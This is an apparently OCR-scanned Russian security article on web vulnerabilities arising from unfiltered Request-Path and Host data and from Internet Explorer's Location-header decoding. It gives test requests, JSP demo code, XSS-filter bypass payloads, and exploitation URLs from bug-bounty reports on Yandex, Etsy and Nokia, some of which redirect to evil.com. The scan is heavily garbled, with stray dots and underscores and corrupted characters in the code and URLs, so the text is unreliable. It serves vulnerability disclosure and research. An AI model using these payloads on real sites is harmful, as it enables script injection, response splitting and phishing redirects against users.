В большинстве случаев если веб — приложение использует Request — URI для формирования контента HTTP — ответа, то это происходит повсеместно, поэтому для обнаружения таких проблем достаточно послать от одного до пяти запросов. Первым запросом проверяется, поддерживает ли веб — сервер нормализацию пути, в случае если в Request — Path содержатся path traversal конструкции.

GET/[unique_string]/../ HTTP/1.1…..

Остальные запросы отсылаются в зависимости от того, присутствует ли в HTTP — ответе [uniquestring] и в какой именно части ответа эта строка находится.

При этом необходимо уделить особое внимание сценариям перенаправления (с /folder на /folder/, с example.com на www.example.com, с http на https) и страницам отображения ошибок 4хх, 5хх, так как это наиболее популярные места, подверженные таким уязвимостям.

MICROSOFT INTERNET EXPLORER

Рассмотрим более подробно особенности обработки заголовка Location в Internet Explorer и то, как их можно использовать для эксплуатации уязвимостей. К сожалению, мое понимание уязвимости не совпало с мнением Microsoft, и они назвали данные особенности обработки ошибкой, а не уязвимостью, несмотря на все мои попытки доказать обратное :). Необходимо заметить, что эта ошибка обработки присутствует во всех протестированных версиях браузера Internet Explorer от 5.5 до 10.

Некорректная обработка Request — Path позволяет не только использовать спецсимволы без кодирования, но и обходить встроенный XSS — фильтр. Пример:

index, jsp________………….._____

<%= request.getRequestURI() %>_______________________________________________________________________…..

redirect.jsp

<%……..____________….._________________________________

response.sendRedirect(«http://localhost/xss/<img/src=’x’ onerror -…………….

alert(l)>/%2e%2e/%2e%2e/».)i………………………………………………………….

%>

При обращении к сценарию redirect.jsp произойдет следующий запрос:

GET /xss/<img/src=’x’onerror=alert(l)>/%2e%2e/%2e%2e/…..

А при формировании ссылки для адресной строки Request — Path вновь будет обработан и path traversal конструкции будут вырезаны. Таким образом, XSS — фильтр не обнаружит опасных конструкций и пропустит данный запрос. Также при использовании URL — кодиро ванного хоста в заголовке Location происходит некорректное декодирование, например:

Location: http://%77%77%77%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D/test

Обработка хоста происходит следующим образом:

1. Исходный хост

%77%77%77%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D

2. URL — декодирование

……www.microsoft.com______________________________________„_________________,,______

3. Наложение декодированного значения на оригинальное www.microsoft.com9%63%72%6F%73%6F%66%74%2E%63%6F%6D

4. В результате запрос будет отправлен по следующей ссылке:

httр://www.microsoft,com9c rosoft.com/test

Данную ошибку обработки можно использовать, добавив в URL — кодированное представление хоста символ /. Таким образом, запрос будет отправлен на правильно декодированный хост, но в Request — Path и Host — заголовке будут некорректные данные, полученные в результате наложения декодированного значения на оригинальный хост из Location — заголовка, например:

index.jsp

<%= request.getRequestURI() %> <%= request.getServerName() %>

redirect.jsp

<%……

response.sendRedirect(«http://localhost%2Fx%2F%3cimg %2Fonerror=’alert(1)’src=x%3e%2f.%2e%2f.%2e%2f%3f»); %>

При обращении к сценарию redirect.jsp будет сформирован следующий HTTP — запрос, который будет отправлен на корректно обработанный хост:

GET /x/<img/onerror=’alert(l)’src=x> /../../?3e%2f%2e%2e%2f.%2e%2f%3f/ HTTP/1.1 Host: localhost/x/<img/onerror=» alert(1)’ sro — — xW.»/../?

В результате данную ошибку обработки Location можно использовать, так же как в предыдущем примере, для формирования произвольных данных в Request — Path и обхода XSS — фильтра, а также для реализации атак типа «межсайтовое выполнение сценариев» через Host — заголовок.

Пример подделки порта для открытой вкладки через ошибку декодирования хоста:

redirect — 5.jsp

<%

response.sendRedirect(http://www.miсrosoft. com%3a80/en — us/default.aspx)

%>

В данном примере запрос будет отправлен на microsoft. com:80, но в адресной строке будет отображаться порт 8080 из-за некорректного декодирования.

ЗАКЛЮЧЕНИЕ

Несмотря на сложность эксплуатации и довольно специфичные условия, данные варианты атаки не стоит недооценивать. Как показала практика, очень многие веб — разработчики используют Request — Path и Host — заголовок без дополнительных фильтраций, так как рассчитывают, что при нормальных условиях в них не может быть ничего лишнего. Если верить моей нерепрезентативной выборке, каждый пятый популярный вебсайт в той или иной мере подвержен рассмотренным уязвимостям некорректной обработки данных, полученных от пользователя.

ПРИМЕРЫ РЕАЛЬНЫХ УЯЗВИМОСТЕЙ

Написав небольшое расширение для Burp Proxy, которое модифицирует Request — URI и Host всех запросов, я решил проверить, насколько распространены перечисленные уязвимости в реальной жизни. Ниже представлено несколько обнаруженных примеров в рамках участия в Bug Bounty программах.

Yandex Вид Bounty

HTTP Response Splitting, Open Redirect, XSS f :..ni yandex.ru/neo2]

Сценарий перенаправления с /пео2 на /пео2/ использовал URL — деко — дированный Request — Path, полученный от клиента, для формирования Location — заголовка.

Open Redirect:

http://mail.yandex.rU//evil.com/%2e%2e/neo2 HTTP Response Splitting:

http://mail.yandex.ru/%0aSet — Cookie:test=test%0a/%2e%2e/neo2

Cross Site Scripting (для браузеров с отключенным перенаправлением): http://mail.yandex.ru/%0a%0a/<script>aiert( 1 )</ script>/%2e%2e/2e%2e/neo2

XSS [mail.yandex.iu, lite]

Облегченная версия mail.yandex.ru определяла переменную PDA. Prefix по первой папке Request — Path, полученной от клиента, и использовала ее в JavaScript — коде без необходимых обработок.

Пример эксплуатации:

http://mail. yandex. ru/x’+alert(‘XSS’)+’x/%2e%2e/lite/inbox

Фрагмент HTTP — ответа:

PDA.prefix= «+alert(‘XSS’)+»;

Etsy Bug Bounty

XSS via Host [etsy.com..etsystatic.com]

Varnish HTTP Accelerator, обрабатывающий запросы к сайтам Etsy, имел некорректно настроенный шаблон страницы ошибок. В случае неизвестного хоста в HTTP — ответ попадало значение Host — заголовка без необходимых обработок.

Пример эксплуатации (только браузер IE, используя РТ — 2013 — 04): http://evil.com/redirect?url=http://etsy.com%252F <img%2520src=’x»onerroralert( 1 )>%252F%252e.%252F

Фрагмент HTTP — ответа:

<body>unknown domain: etsy.com/ <imgsrc=’x’onerror=alert(1 )>/../</body></html>

Nokia Bug Bounty

HTTP Response Splitting [access.nokia.com, prQJBCts.developer.nokia.com]

Сценарий перенаправления с HTTP на HTTPS использовал URL — декодированный Request — Path, полученный от клиента, для формирования Location — заголовка.

Пример эксплуатации:

http://access.nokia.eom/x%0aHTTP:Response_Splitting%0a/ http://projects.developer.nokia.eom/cartrumps/x%0aHTTP:%20Response — Splitting/

Ul Redress Attack [support.publish.nokia.com]

Для формирования Action формы «Contact Us» использовался Request — Path, полученный от клиента.

Пример эксплуатации:

support, publish. nokia.com//evil.com/%2e%2e?page_id=105 Фрагмент HTTP — ответа:

<form action=»7/evil.com/%o2e%2e?page_id=105wpcf7 — f5185 — p105 — o1″-‘ method — ‘post»>